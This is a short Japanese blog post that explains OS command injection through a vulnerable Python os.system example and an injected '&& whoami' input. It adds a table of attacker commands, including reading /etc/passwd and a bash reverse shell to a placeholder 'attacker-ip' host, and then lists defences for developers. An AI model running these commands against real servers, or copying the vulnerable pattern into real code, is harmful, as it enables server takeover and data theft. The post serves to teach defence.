Shikata Ga Nai

Private? There is no such things.

OSコマンドインジェクションとは?Webサーバを完全支配する脅威

Hello there, ('ω')ノ

🔍 OSコマンドインジェクション(Shell Injection)とは?

Webアプリケーションを通じて、サーバ上で任意のOSコマンドを実行できてしまう脆弱性です。

別名「Shell Injection(シェルインジェクション)」とも呼ばれ、非常に危険度が高く、発見された場合はサーバの完全制御を許す恐れがあります。


🧪 どんなケースで発生する?

開発者が以下のようなコードを書いた場合に起こり得ます:

import os
os.system("ping " + user_input)

ユーザー入力をコマンドラインにそのままつなげているため、攻撃者が次のような入力をすれば追加コマンドが実行されてしまいます:

127.0.0.1 && whoami

結果として実行されるコマンド:

ping 127.0.0.1 && whoami

ping の後に whoami(現在のユーザー確認)まで実行されてしまう!


🎯 攻撃者ができること

目的 コマンド例
ユーザー確認 whoami
ファイル一覧 ls -la
パス確認 pwd
パスワード盗難 cat /etc/passwd
リバースシェル取得 bash -i >& /dev/tcp/attacker-ip/4444 0>&1

🔥 インフラ全体の侵害へ拡大する危険性

  • アプリケーションの動作ユーザー権限でOSを操作可能
  • 設定ファイルの読み取りや改ざん
  • 隣接サーバへのピボット攻撃(横展開)
  • クラウド認証情報を含む秘密鍵・トークンの流出

✅ 防御策(開発者向け)

対策 内容
✂️ OSコマンドの呼び出し回避 外部コマンドに頼らず、PythonやPHPの機能を使う
🛡️ 入力のホワイトリスト検証 許可された値のみ受け入れる
🔒 シェルを経由しない subprocess.run(["ping", user_input]) など引数配列で渡す
📦 Webアプリを制限された環境で実行 Dockerコンテナなどで権限を制限する

💡 まとめ

  • OSコマンドインジェクションはWebアプリ経由でサーバを乗っ取る攻撃
  • 小さな実装ミスが、大規模な情報漏洩やインフラ侵害につながる
  • ユーザー入力を絶対にOSコマンドにそのまま渡さないこと!

Best regards, (^^ゞ